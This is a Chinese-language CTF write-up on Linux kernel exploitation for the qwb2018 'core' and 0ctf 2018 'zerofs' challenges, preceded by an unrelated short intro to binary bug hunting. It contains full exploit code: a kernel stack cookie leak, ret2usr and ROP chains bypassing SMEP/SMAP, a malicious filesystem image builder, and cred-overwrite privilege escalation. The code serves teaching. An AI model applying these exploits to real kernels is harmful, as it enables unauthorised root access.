二进制漏洞挖掘目前主要有两种方式，一种是通过模糊测试（fuzz），通过尽可能模拟程序的所有输入，增加代码覆盖率，使程序产生crash来发现漏洞；一种是通过代码审计或者逆向，人工去发现漏洞。二进制漏洞挖掘常见的方向包括：IoT安全，浏览器安全，操作系统安全，移动端安全，虚拟化安全等（基本都是基于C/C++编写）。每个方向深入学习都需要不少的学习成本，所以我建议刚开始接触真实软件漏洞挖掘时，选定一个方向，不要贪多。以下是一些方向的介绍与学习建议。
#### IoT安全
也称嵌入式安全。包含的种类较大，小到如家用路由器，摄像头，电动门锁，大到商用交换机，车联网安全都跟这个方向强相关。这个方向建议多学习基础的理论和硬件知识，如大学电子系的各类专业课等。推荐书籍：《硬件安全攻防揭秘》
#### 浏览器安全
主要包括Chromium,Safari,Edge,Firefox等主流浏览器。浏览器安全中目前被关注较多的主要是JS引擎安全和渲染引擎安全。其中JS引擎安全涉及Javascript代码在客户端运行时的优化等，想要理解相关代码建议阅读《编译原理》等编译相关书籍。不少研究人员通过开发针对JS引擎和渲染引擎的fuzz工具也有不错的产出。浏览器安全的学习我推荐sakura的浏览器相关blog（<https://eternalsakura13.com/）。>
#### 操作系统安全
针对三大桌面操作系统（Windows，Linux，Macos）的漏洞挖掘。 Windows内核安全推荐阅读《windows
internals》。Linux内核安全推荐直接多阅读Linux内核代码，读不懂的部分就google相关资料。目前也有很多好用的针对不同操作系统内核的fuzz工具，大家也可以尝试使用或改进这类工具来发现漏洞。
#### 虚拟化安全
个人或企业类的虚拟化软件漏洞挖掘。建议从Qemu，VirtualBox等开源软件漏洞挖掘入手。推荐阅读[这个github](https://github.com/WinMin/awesome-vm-exploit "这个github") 中收录的文章。
### 小结
暂时就想到了这么多，大家有其他问题欢迎评论提问 | 社区文章 |
本篇文章主要针对内核栈溢出以及堆越界访问漏洞进行分析以及利用。
### qwb2018 core
题目链接：<https://pan.baidu.com/s/10te2a1LTZCiNi19_MzGmJg> 密码：ldiy
解压官方给的tar包，可以看到如下4个文件：
其中`start.sh`是qemu的启动脚本，这里将`-m`参数修改为512M，否则本地无法正常启动，同时为了便于调试，需要解包core.cpio并修改其中的init文件，将`poweroff`的指令删除，让内核不在定时关闭。`init`文件内容如下：
#!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2
insmod /core.ko
setsid /bin/cttyhack setuidgid 1000 /bin/sh
echo 'sh end!\n'
umount /proc
umount /sys
基本可以确认存在漏洞的模块为`core.ko`，而开启的`kptr_restrict`、`dmesg_restrict`则缓解了内核信息的泄露，卸载了`/proc`、`/sys`这两个目录，进一步阻止用户查看内核信息。查看start.sh可知内核开启了kaslr。注意到`cat
/proc/kallsyms >
/tmp/kallsyms`这条命令，相当于可以从`/tmp/kallsyms`读取部分内核符号信息，这样便于后面编写提权的shellcode。
解包core.cpio后，查看core.ko开启的防护如下：
gdb-peda$ checksec
CANARY : ENABLED
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : disabled
开启了`NX`以及`stack canary`，利用ghidra打开`core.ko`，查看它的函数如下：
初始化函数如下：
undefined8 init_module(void)
{
core_proc = proc_create(&DAT_001002fd,0x1b6,0,core_fops);
printk(&DAT_00100302);
return 0;
}
其中core_fops是内核的`file_operations`结构，跟进去查看发现其实现了自定义的`write`、`ioctl`、`release`函数，其中`ioctl`函数内部调用了`core_read`、`core_copy_func`等功能，如下：
undefined8 core_ioctl(undefined8 param_1,int param_2,ulong param_3)
{
if (param_2 == 0x6677889b) {
core_read(param_3);
}
else {
if (param_2 == 0x6677889c) {
printk(&DAT_001002f1,param_3);
off = param_3;
}
else {
if (param_2 == 0x6677889a) {
printk(&DAT_001002d7);
core_copy_func(param_3);
}
}
}
return 0;
}
这里由于之前开启的内核策略导致`printfk`输出的内容无法通过`dmesg`获取，查看core_read函数如下：
void core_read(undefined8 param_1)
{
long lVar1;
undefined4 *puVar2;
long in_GS_OFFSET;
byte bVar3;
undefined4 auStack80 [16];
long local_10;
bVar3 = 0;
local_10 = *(long *)(in_GS_OFFSET + 0x28);
printk(&DAT_0010027f);
printk(&DAT_00100299,off,param_1);
lVar1 = 0x10;
puVar2 = auStack80;
while (lVar1 != 0) {
lVar1 = lVar1 + -1;
*puVar2 = 0;
puVar2 = puVar2 + (ulong)bVar3 * -2 + 1;
}
strcpy((char *)auStack80,"Welcome to the QWB CTF challenge.\n");
lVar1 = _copy_to_user(param_1,(long)auStack80 + off,0x40);//全局变量off可控
if (lVar1 != 0) {
swapgs();
return;
}
if (local_10 != *(long *)(in_GS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
由于可以通过`ioctl`控制<font color=Blue
size=5>off</font>这个全局变量，因此可以控制返回给用户的内容为内核栈上特定偏移的数据，这里可以用来泄露栈`cookie`值，通过如下代码可以打印泄露的`cookie`以及`函数返回地址`:
#include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <fcntl.h>
int main(int argc,char* argv[])
{
int fd1 = open("/proc/core",O_RDWR);
unsigned long long buf[0x1000];
memset(buf,'a',0x200);
int off=0;
if(argc>1)
{
off=strtol(argv[1],NULL,10);
}
printf("fd is %d\n",fd1);
ioctl(fd1,0x6677889C,off);
ioctl(fd1,0x6677889B,buf);
for(int i =0;i<4;i++)
{
for(int m=0;m<4;m++)
{
printf("%016llx ",buf[i*4+m]);
}
printf("\n");
}
return 0;
}
结果如下：
/ $ ./poc 64
fd is 3
5d2043a60145af00 00007ffe2b41ecf0 ffffffffc03cc19b ffff96afda3efe40
ffffffffa19dd6d1 000000000000889b ffff96afdf80fb00 ffffffffa198ecfa
6161616161616161 6161616161616161 6161616161616161 6161616161616161
此时的`5d2043a60145af00`即为当前内核栈上的<font
color="red">cookie</font>值，可用来后续的内核rop。查看`core_write`函数:
undefined [16] core_write(undefined8 param_1,undefined8 param_2,ulong param_3)
{
ulong uVar1;
long lVar2;
printk(&DAT_00100239);
if (param_3 < 0x801) {
lVar2 = _copy_from_user(name,param_2,param_3);
if (lVar2 == 0) {
uVar1 = param_3 & 0xffffffff;
goto LAB_00100084;
}
}
printk(&DAT_00100254);
uVar1 = 0xfffffff2;
LAB_00100084:
return CONCAT88(param_2,uVar1);
}
这里可以控制<font color ="red">name</font>全局变量的内容。查看core_copy_func函数，如下：
undefined8 core_copy_func(ulong param_1)
{
undefined8 uVar1;
ulong uVar2;
undefined1 *puVar3;
undefined *puVar4;
long in_GS_OFFSET;
byte bVar5;
undefined auStack80 [64];
long local_10;
bVar5 = 0;
local_10 = *(long *)(in_GS_OFFSET + 0x28);
printk(&DAT_00100239);
if ((long)param_1 < 0x40) {
uVar2 = param_1 & 0xffff;
uVar1 = 0;
puVar3 = name;
puVar4 = auStack80;
while (uVar2 != 0) {
uVar2 = uVar2 - 1;
*puVar4 = *puVar3;
puVar3 = puVar3 + (ulong)bVar5 * -2 + 1;
puVar4 = puVar4 + (ulong)bVar5 * -2 + 1;
}
}
else {
printk(&DAT_001002c5);
uVar1 = 0xffffffff;
}
if (local_10 == *(long *)(in_GS_OFFSET + 0x28)) {
return uVar1;
} /* WARNING: Subroutine does not return */
__stack_chk_fail();
}
虽然有参数检测，但是存在有符号对比问题，当传入的参数为负数时，即可绕过对长度的检测，将<font
color="red">name</font>全局变量的内容拷贝到栈上，造成栈溢出，接下来就需要考虑如何进行rop了。
### 方法1
首先我们需要将`rip`覆盖为我们的执行shellcode函数的地址，这样当函数`core_copy_func`返回时便会执行我们的shellcode，同时为了不破坏栈上的其它数据，我们选择大小为0x58的shellcode，这样刚好仅仅覆盖了返回地址。在我们shellcode内部则会执行`commit_creds(prepare_kernel_cred(0))`这两个函数，函数成功执行后此时已经程序已经拥有了root权限，为了让内核继续完好的执行，我们选择在这两个函数执行完毕后修复栈帧，同时跳转到本来应该返回的内核函数位置，即`core.ko+0x191`，这个返回地址通过前面的信息泄露可以拿到。完整的exp如下：
#include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <fcntl.h>
typedef unsigned long long u64;
u64 prepare_kernel_cred;
u64 commit_creds;
u64 ret_addr;
u64 readkerneladdr(char* command)
{
FILE *fp;
u64 kaddr;
char buffer[80];
char* retbuf;
fp=popen(command, "r");
fgets(buffer,sizeof(buffer),fp);
retbuf = strstr(buffer," ");
int addrlen = retbuf-buffer;
memset(buffer+addrlen,0,10);
kaddr = strtoul(buffer,NULL,16);
return kaddr;
}
void poc1_shellcode()
{
int*(*userPrepare_kernel_cred)(int) = prepare_kernel_cred;
void*(*userCommit_cred)(int*) = commit_creds;
(*userCommit_cred)((*userPrepare_kernel_cred)(0));
asm("mov %rbp,%rsp"); //修复栈帧
asm("pop %rbp");
asm("mov %0,%%rax; \ //跳转回内核函数地址
jmp %%rax;"
:
:"r"(ret_addr)
:"%rax");
}
int main(int argc,char* argv[])
{
int fd1 = open("/proc/core",O_RDWR);
prepare_kernel_cred = readkerneladdr("cat /tmp/kallsyms|grep prepare_kernel_cred");
commit_creds = readkerneladdr("cat /tmp/kallsyms|grep commit_creds");
u64 buf[0x1000];
memset(buf,'a',0x200);
int off=64;
if(argc>1)
{
off=strtol(argv[1],NULL,10);
}
printf("fd is %d\n",fd1);
ioctl(fd1,0x6677889C,off);
ioctl(fd1,0x6677889B,buf);
u64 canary = buf[0];
ret_addr = buf[2];
u64 poc[0x100]={
0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,canary,0,&poc1_shellcode
};
write(fd1,poc,0x100);
ioctl(fd1,0x6677889A,0xf000000000000058);
system("/bin/sh");
return 0;
}
成功执行后如下：
这样做的好处是不需要特地去找gadgets，但是这样做的前提是内核没有开启`smep`、`smap`等防护措施，在开启这些防护措施后，内核层是无法直接执行用户层代码的。如果开启了`smep`、`smap`则会产生如下错误：
因此还有更加通用的做法，就是通过构造一条完整的rop链来实现提权并返回到用户层。区别于当前的操作就是在整个执行过程中是不会跳转回用户层的代码的，所有提权函数的调用均通过栈上的数据控制，在执行提权函数后通过`iret`指令返回用户层空间。
### 方法2
为了绕过`smep`、`smap`等防护措施，需要构造完整的rop链，需要查找内核映像中可用的gadgets，这里使用`ropper`来dump整个内核可用的gadgets。需要注意的是链接中给出的vmlinux和实际的bzImage的地址并不匹配，因此需要通过extract-vmlinunx脚本来将bzImage中的内核可执行文件dump出来，用法如下：
extract-vmlinux ./bzImage > vmlinux
接下来通过ropper提取vmlinux中可用的gadgets，用法如下：
ropper --file ./vmlinx --nocolor > gadgets
寻找`pop rdi,ret`，`mov rdi, rax`，`iret`，`swapgs`等指令，如下：
.text:FFFFFFFF81126515 pop rdi
.text:FFFFFFFF81126516 retn
.text:FFFFFFFF8186EB33 pop rcx
.text:FFFFFFFF8186EB34 retn
.text:FFFFFFFF81623D0B mov rdi, rax
.text:FFFFFFFF81623D0E call rcx
.text:FFFFFFFF810A0F49 pop rdx
.text:FFFFFFFF810A0F4A retn
.text:FFFFFFFF81A012DA swapgs
.text:FFFFFFFF81A012DD popfq
.text:FFFFFFFF81A012DE retn
.text:FFFFFFFF81050AC2 iretq
需要构造的rop链为
执行prepare_kernel_cred(0)
将prepare_kernel_cred的执行结果赋值给rdi
执行commit_creds
执行swapgs
执行iret
完整exp如下：
#include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <fcntl.h>
typedef unsigned long long u64;
u64 prepare_kernel_cred;
u64 commit_creds;
u64 ret_addr;
u64 user_cs,user_rflags,user_ss,user_sp;
u64 readkerneladdr(char* command)
{
FILE *fp;
u64 kaddr;
char buffer[80];
char* retbuf;
fp=popen(command, "r");
fgets(buffer,sizeof(buffer),fp);
retbuf = strstr(buffer," ");
int addrlen = retbuf-buffer;
memset(buffer+addrlen,0,10);
kaddr = strtoul(buffer,NULL,16);
return kaddr;
}
void execshell()
{
system("/bin/sh");
}
void save_status()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
}
int main(int argc,char* argv[])
{
int fd1 = open("/proc/core",O_RDWR);
prepare_kernel_cred = readkerneladdr("cat /tmp/kallsyms|grep prepare_kernel_cred");
commit_creds = readkerneladdr("cat /tmp/kallsyms|grep commit_creds");
u64 buf[0x1000];
memset(buf,'a',0x200);
int off=64;
if(argc>1)
{
off=strtol(argv[1],NULL,10);
}
printf("fd is %d\n",fd1);
ioctl(fd1,0x6677889C,off);
ioctl(fd1,0x6677889B,buf);
u64 canary = buf[0];
ret_addr = buf[2];
u64 kernelbase = prepare_kernel_cred-0x9cce0;
u64 kerneloff =0xFFFFFFFF81000000- kernelbase;
save_status();
u64 Rop[0x100]={0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,canary,0,\
0xFFFFFFFF81126515-kerneloff,\ //pop rdi,ret
0,\
prepare_kernel_cred,\
0xFFFFFFFF8186EB33-kerneloff,\ //pop rcx,ret
0xFFFFFFFF810A0F49-kerneloff,\ //pop rdx,ret
0xFFFFFFFF81623D0B-kerneloff,\ //mov rdi,rax,call rcx
commit_creds,\
0xffffffff81a012da-kerneloff,\ //swapgs,popfq,ret
0,\
0xFFFFFFFF81050AC2-kerneloff,\ //iret
&execshell,\ //ret ip
user_cs,\
user_rflags,\
user_sp,\
user_ss
};
write(fd1,Rop,0x100);
ioctl(fd1,0x6677889a,0xf0000000000000e0);
return 0;
}
修改`start.sh`如下:
qemu-system-x86_64 \
-m 512M \
-kernel ./bzImage \
-initrd ./core.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \
-s \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \
-cpu qemu64,+smep,+smap\
执行poc后效果如下：
### 2018 0ctf-zerofs
题目连接：<https://drive.google.com/file/d/1GlCwZeJ2JW8zqVONxy7rphg9Mk6kF6F6/view?usp=sharing>
解包得到如下内容:
admins@admins-virtual-machine:~/kernel/exercise/zerofs/public$ ls -alh
total 11M
drwxrwxr-x 2 admins admins 4.0K 12月 22 17:21 .
drwxrwxr-x 5 admins admins 4.0K 12月 22 17:22 ..
-rw-r--r-- 1 admins admins 6.9M 3月 29 2018 bzImage
-rw-rw-r-- 1 admins admins 3.1M 3月 30 2018 rootfs.cpio
-rwxrwxr-x 1 admins admins 241 12月 22 17:21 run.sh
-rw-r--r-- 1 admins admins 320K 3月 29 2018 zerofs.ko
run.sh脚本如下：
qemu-system-x86_64 -enable-kvm -s -cpu kvm64,+smep,+smap -m 512M -kernel ./bzImage -initrd ./rootfs.cpio -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" -monitor /dev/null -nographic 2>/dev/null
开启了smep、smap以及kaslr，解包rootfs.cpio，init文件如下：
#!/bin/sh
mknod -m 0666 /dev/null c 1 3
mknod -m 0660 /dev/ttyS0 c 4 64
mount -t proc proc /proc
mount -t sysfs sysfs /sys
cat /root/signature
echo 2 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
insmod /zerofs.ko
setsid cttyhack setuidgid 1000 sh
umount /proc
umount /sys
poweroff -f
开启kptr_restrict以及dmesg_restrict，无法查看内核函数地址，
存在问题的内核模块为zerofs.ko，开启安全策略如下：
这是个内核文件系统模块，题目提示通过mount挂载文件，查看其主要逻辑，
undefined8 main(void)
{
undefined8 local_10;
setresuid(0,0,0);
local_4c = fork();
if (local_4c == 0) {
local_48 = "mount";
local_40 = "-o";
local_38 = "loop";
local_30 = "-t";
local_28 = "zerofs";
local_20 = "/tmp/zerofs.img";
local_18 = "/mnt";
local_10 = 0;
execvp("/bin/mount",&local_48);
}
waitpid(local_4c,&local_50,0);
local_4c = fork();
if (local_4c == 0) {
local_48 = "chown";
local_40 = "-R";
local_38 = "1000.1000";
local_30 = "/mnt";
local_28 = (char *)0x0;
execvp("/bin/chown",&local_48);
}
waitpid(local_4c,&local_50,0);
local_4c = fork();
if (local_4c == 0) {
local_48 = "chmod";
local_40 = "-R";
local_38 = "a+rwx";
local_30 = "/mnt";
local_28 = (char *)0x0;
execvp("/bin/chmod",&local_48);
}
waitpid(local_4c,&local_50,0);
return 0;
}
先是提升权限，然后调用了`/bin/mount` 并配有参数`-o loop -t zerofs /tmp/zerofs.img
/mnt`，可以看出主要通过mount将tmp目录下的文件zerofs.img挂载到/mnt目录，后续对挂载文件的读写会触发zerofs.ko中的回调函数。
### linux文件系统基本概念
为了对文件系统进行统一管理，linux将文件系统分为两层虚拟文件系统、具体文件系统：
具体文件系统依照vfs定义好的数据结构将读写文件相关的操作进行导出，由vfs进行统一管理，方便由用户层通过统一的接口即`open`
、`read`、`write`等函数对文件进行操作，对用户来说，具体文件系统是透明的，能感知到的是虚拟文件系统。传统文件系统在磁盘中的布局一般如下:
一些基本概念如下：
* 超级块（磁盘中的超级块）用来存储文件系统的详细信息，比如块个数、块大小、空闲块等等
* inode（索引节点区）用来存储索引节点 ,每个inode都有一个号码，操作系统用inode号码来识别不同的文件
* dentry (目录项) 保存了文件名和inode的映射,便于加速查找文件
* 数据块区 用来存储文件或目录数据
接下来看下zerofs内核模块的实现,查看`zerofs.ko`模块，初始化代码如下：
int zerofs_init(void)
{
int iVar1;
__fentry__();
zerofs_inode_cachep = (kmem_cache *)kmem_cache_create("zerofs_inode_cache",0x20,0,0x120000,0);
if (zerofs_inode_cachep != (kmem_cache *)0x0) {
iVar1 = register_filesystem(&zerofs_type); //注册文件系统
return iVar1;
}
return -0xc;
}
这里向通过`register_filesystem`函数像内核注册了一个文件系统，当然仅仅注册是无法访问该文件系统的，需要通过`mount`将对应的文件系统安装到设备上才能进行访问。
查看`register_filesystem`源码可知，该函数主要功能是将注册的文件系统添加到全局变量`file_systems`链表中。其中`zerofs_type`是`file_system_type`类型的结构体，如下：
struct file_system_type {
const char *name;
int fs_flags;
struct dentry *(*mount) (struct file_system_type *, int,
const char *, void *);
void (*kill_sb) (struct super_block *);
struct module *owner;
struct file_system_type * next;
...}
其中第三个参数就是它挂载时会调用的回调函数，在用户层挂载特定类型的文件系统时最终都会转发到对应内核模块的`mount`函数，查看`mount`函数如下：
dentry * zerofs_mount(file_system_type *fs_type,int flags,char *dev_name,void *data)
{
dentry *extraout_RAX;
undefined extraout_DL;
undefined uVar1;
uVar1 = SUB81(fs_type,0);
__fentry__(uVar1,flags,(char)dev_name);
mount_bdev(uVar1,(char)flags,extraout_DL,zerofs_fill_super);
return extraout_RAX;
}
调用了`mount_bdev`函数，查看源码可知，该函数主要通过传入的dev_name获取对应的块设备，接着从块设备中获取对应的超级块（super_block）,如果根节点为空，说明没有初始化，则调用第五个参数作为函数来初始化超级块。
if (s->s_root) {
if ((flags ^ s->s_flags) & SB_RDONLY) {
deactivate_locked_super(s);
error = -EBUSY;
goto error_bdev;
}
up_write(&s->s_umount);
blkdev_put(bdev, mode);
down_write(&s->s_umount);
} else {
s->s_mode = mode;
snprintf(s->s_id, sizeof(s->s_id), "%pg", bdev);
sb_set_blocksize(s, block_size(bdev));
error = fill_super(s, data, flags & SB_SILENT ? 1 : 0); //调用对应内核函数进行超级块的填充
if (error) {
deactivate_locked_super(s);
goto error;
}
s->s_flags |= SB_ACTIVE;
bdev->bd_super = s;
}
zerofs文件系统中的`fs_flag`为`FS_REQUIRES_DEV`，类似于`ext2`、`ext4`等文件系统，挂载时需要物理设备作为输入，而默认的mount执行的参数中有`-o
loop`，即将输入文件作为硬盘分区挂接到系统上，类似于光盘文件的挂载。一般来说，我们可以通过命令`dd bs=4096 count=100
if=/dev/zero of=image`创建一个空白文件，然后通过`mkfs.ext2
image`将ext2的文件系统格式写入到image中，然后通过`mount -t ext2 ./image
/mnt`将它挂载到`/mnt`目录下，这里我们只能自己手动创建对应的zerofs文件系统。这里在逆向分析程序时存在如下问题：
后面尝试在自己编译的linux上安装模块时出现如下问题：
在经过一番搜索后发现内核以及模块可能使用了`rand_struct`这个gcc插件对特定的结构体进行了变量重排，也就是说改变了部分变量在结构体内部的内存偏移，此时在逆向分析时ghidra所识别的结构体偏移是无效的，同时也无法在有符号的内核上进行安装调试。
在后续分析过程中,看到有资料说该模块可能由[simplefs](https://github.com/psankar/simplefs)改写，因此可以查看源码对比二进制实现来更方便理解模块的各项功能。对比源码中的`fill_super`函数进行注释，如下：
int zerofs_fill_super(super_block *sb,void *data,int silent)
{
astruct *superblock;
long lVar1;
undefined8 uVar2;
zerofs_inode *pzVar3;
list_head *plVar4;
undefined4 in_register_00000014;
undefined8 uVar5;
uint uVar6;
undefined auVar7 [16];
xattr_handler **userdata;
__fentry__(sb,data,CONCAT44(in_register_00000014,silent));
/* 获取第一块数据作为超级块结构 */
superblock = (astruct *)
__bread_gfp((sb->s_writers).rw_sem[2].writer.task,0,*(undefined4 *)&sb->field_0x578,8
);
if (superblock != (astruct *)0x0) {
userdata = superblock->data;
/* 判断超级块的前24字节是否符合zerofs定义 */
if (((*userdata == (xattr_handler *)0x4f52455a) &&
(userdata[1] == (xattr_handler *)0x1000)) &&
(userdata[2] < (xattr_handler *)0x41)) {
/* sb->s_magic */
(sb->s_writers).rw_sem[2].rw_sem.wait_list.prev = (list_head *)0x4f52455a;
/* sb->s_fsinfo */
sb->s_xattr = userdata;
/* sb->s_maxbytes */
(sb->rcu).next = (callback_head *)0x1000;
/* sb->s_op */
sb->s_cop = (fscrypt_operations *)&zerofs_sops;
lVar1 = new_inode(sb);
*(undefined8 *)(lVar1 + 400) = 1;
inode_init_owner(lVar1,0,0x4000);
*(super_block **)(lVar1 + 600) = sb;
*(inode_operations **)(lVar1 + 0x118) = &zerofs_inode_ops;
*(file_operations **)(lVar1 + 0x30) = &zerofs_dir_ops;
auVar7 = current_time(lVar1);
uVar5 = SUB168(auVar7 >> 0x40,0);
uVar2 = SUB168(auVar7,0);
*(undefined8 *)(lVar1 + 0x148) = uVar5;
*(undefined8 *)(lVar1 + 0x18) = uVar5;
*(undefined8 *)(lVar1 + 0xa8) = uVar5;
*(undefined8 *)(lVar1 + 0x140) = uVar2;
*(undefined8 *)(lVar1 + 0x10) = uVar2;
*(undefined8 *)(lVar1 + 0xa0) = uVar2;
pzVar3 = zerofs_get_inode(sb,1);
*(zerofs_inode **)(lVar1 + 0x168) = pzVar3;
plVar4 = (list_head *)d_make_root(lVar1);
(sb->s_writers).rw_sem[2].rw_sem.wait_list.next = plVar4;
uVar6 = -(uint)(plVar4 == (list_head *)0x0) & 0xfffffff4;
}
else {
uVar6 = 0xffffffea;
}
__brelse(superblock);
return (int)uVar6;
}
do {
invalidInstructionException();
} while( true );
}
结合simplefs可以判断出zerofs的基本块大小为0x1000,第1块内容为super_block，第二块内容为inode索引块，后面的为数据块。
inode结构如下：
struct inode{
int inode_number;
int block_number;
int mode;
union {
uint64_t file_size;
uint64_t dir_children_count;
};
}
参考`mkfs-simplefs`可以构造出一个基本的符合挂载条件的zerofs文件系统。在构造过程中发现了`zerofs_lookup`的一个空指针解引用漏洞，代码如下：
经过研究发现无法利用，查看zerofs关于文件读写的函数，发现在文件读写过程中均存在漏洞，读文件如下：
可以看出，只要控制文件大小为-1，并在读取文件时设置好偏移，就可以实现内核地址越界读。文件写操作如下：
没有对当前文件的大小以及要写的偏移做判断，因此通过设置好文件偏移可以直接造成内核地址越界写。
现在我们拥有了内核地址越界读写的能力，接下来就是寻找内核提权的方式，上一篇文章中也提过除了通过调用`commit_creds(prepare_kernel_cred(0))`来实现提权，还可以通过定位进程中的`cred`结构并将对应的数据uid-fsgid全部置0的方式来提升程序权限。cred部分结构如下：
struct cred {
atomic_t usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
atomic_t subscribers; /* number of processes subscribed */
void *put_addr;
unsigned magic;
#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
kuid_t uid; /* real UID of the task */
kgid_t gid; /* real GID of the task */
kuid_t suid; /* saved UID of the task */
kgid_t sgid; /* saved GID of the task */
kuid_t euid; /* effective UID of the task */
kgid_t egid; /* effective GID of the task */
kuid_t fsuid; /* UID for VFS ops */
kgid_t fsgid; /* GID for VFS ops */
unsigned securebits; /* SUID-less security managemen
由于当前有了内核越界读的能力，可以通过遍历内核地址数据来查找符合当前进程的cred结构内容，因为是普通用户权限，所以cred中的uid、gid、suid等数值都是1000，因此可以通过判断内存中连续3个32位整型的数值是否都是1000来定位cred结构。但是由于该内核编译时用了randstruct插件，破坏了部分结构体内部的变量排序，因此我们这边通过调试的方式定位cred结构中uid等变量的结构体偏移。通过中断函数`prepare_creds`
，观测到cred结构内容如下：
gef➤ x /80wx $rsi
0xffff95713f8a9300: 0xffffffff 0x0000003f 0x000003e8 0x00000003
0xffff95713f8a9310: 0x00000000 0x00000000 0x3faa1080 0xffff9571
0xffff95713f8a9320: 0x000003e8 0x000003e8 0x00000000 0x00000000
0xffff95713f8a9330: 0x00000000 0x00000000 0x000003e8 0x00000000
0xffff95713f8a9340: 0x00000000 0x00000000 0x00000000 0x00000000
0xffff95713f8a9350: 0x3f813630 0xffff9571 0x00000000 0x00000000
0xffff95713f8a9360: 0x00000000 0x00000000 0x000003e8 0x000003e8
0xffff95713f8a9370: 0x00000000 0x00000000 0x00000000 0x00000000
0xffff95713f8a9380: 0xb2c50660 0xffffffff 0x00000000 0x00000000
0xffff95713f8a9390: 0x000003e8 0x00000000 0x00000000 0x00000000
0xffff95713f8a93a0: 0x00000000 0x000003e8 0x00000000 0x00000000
0xffff95713f8a93b0: 0x00000025 0x80000000 0x00000000 0x00000000
可以看到凡是为0x3e8即1000的基本都是对应的id值，同样可以通过函数`_sys_getgid`等来判断cred中的变量偏移，如下：
.text:FFFFFFFF81094970 sub_FFFFFFFF81094970 proc near ; CODE XREF: sub_FFFFFFFF81003960+54↑p
.text:FFFFFFFF81094970 ; sub_FFFFFFFF81003A25+4B↑p ...
.text:FFFFFFFF81094970 call nullsub_1
.text:FFFFFFFF81094975 push rbp
.text:FFFFFFFF81094976 mov rax, gs:off_D300
.text:FFFFFFFF8109497F mov rax, [rax+0B38h]
.text:FFFFFFFF81094986 mov rbp, rsp
.text:FFFFFFFF81094989 mov esi, [rax+6Ch] //gid
.text:FFFFFFFF8109498C mov rdi, [rax+80h]
.text:FFFFFFFF81094993 call sub_FFFFFFFF8112A300
.text:FFFFFFFF81094998 pop rbp
.text:FFFFFFFF81094999 mov eax, eax
.text:FFFFFFFF8109499B retn
.text:FFFFFFFF8109499B sub_FFFFFFFF81094970 endp
其中cred+0x6c处的值为gid，那么在定位cred结构体时就可以通过找到的偏移来对比。当找到第一个id为0x3e8时，剩下的id值偏移如下：6、7、12、24、25、34、39，将对应偏移的内容置0即可完成权限提升。由于我们先通过`mount`指令挂载文件系统，而后创建poc进程，因此poc进程的cred结构大概率来说是位于我们控制的越界读写的内核地址后面，所以直接从控制的内核地址向后不断搜索即可。
创建zerofs文件系统的脚本如下：
from pwn import *
zerofs_block0 = p64(0x4F52455A)+p64(0x1000)+p64(0x3)+p64(0)
zerofs_block0 = zerofs_block0.ljust(0x1000,b"\x00")
inode_block1 = p64(0x1)+p64(0x2)+p64(0x4000)+p64(1)
inode_block1 +=p64(0x2)+p64(0x3)+p64(0x8000)+p64(0xffffffffffffffff)
inode_block1 = inode_block1.ljust(0x1000,b"\x00")
zerofs_block2 = b"test".ljust(256,b"\x00")
zerofs_block2 += p64(2)
zerofs_block2 = zerofs_block2.ljust(0x1000,b"\x00")
zerofs_block3 = b"a"*0x1000
block = zerofs_block0+inode_block1+zerofs_block2+zerofs_block3
fimage = open("./tmp/zerofs.img","wb")
fimage.write(block)
fimage.close()
exp如下：
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <assert.h>
#include <sys/mman.h>
int current_uid = 0x3e8;
int search_modify(int* buf)
{
for(int i=0;i<0x10000/4-12;i++)
{
if(buf[i]==current_uid && buf[i+6]==current_uid&& buf[i+7]==current_uid &&buf[i+12]==current_uid && buf[i+24]==current_uid && buf[i+25]==current_uid&& buf[i+34]==current_uid && buf[i+39]==current_uid)
{
printf("find cred\n);
buf[i]=0;
buf[i+6]=0;
buf[i+7]=0;
buf[i+12]=0;
buf[i+24]=0;
buf[i+25]=0;
buf[i+34]=0;
buf[i+39]=0;
return 1;
}
}
return 0;
}
int main(int argc,char*argv[])
{
int fd1 = open("/mnt/test",O_RDWR);
if(fd1==-1)
{
printf("fd is -1\n");
exit(0);
}
printf("fd is %d\n",fd1);
int buflen=0x10000;
int buf[0x10000/4]={0};
int idx=0;
int beginidx;
printf("begin search\n");
if(argc>=2)
idx=strtol(argv[1],NULL,10);
beginidx=idx;
for (idx;idx<=beginidx+0x10000;idx++)
{
lseek(fd1,idx*buflen,SEEK_SET);
read(fd1,buf,buflen);
if(search_modify(buf))
{
printf("final idx is %d\n",idx);
lseek(fd1,idx*buflen,SEEK_SET);
write(fd1,buf,buflen);
if(getuid()!=0)
{
printf("current uid is %d\n",getuid());
exit(0);
}
else{
system("/bin/sh");
return 0;
}
}
}
return 0;
}
提权结果如下：
实测过程中发现偶尔会将其它进程的cred修改为root权限（比如最初的shell进程sh，此时同样可以读取root权限的flag），因此如果发现当前进程没有被修改为root权限，则可以根据最终的idx变量进行调整，将其作为程序输入参数重新搜索进程cred结构，多次测试即可成功，如下：
这里在尝试通过heap
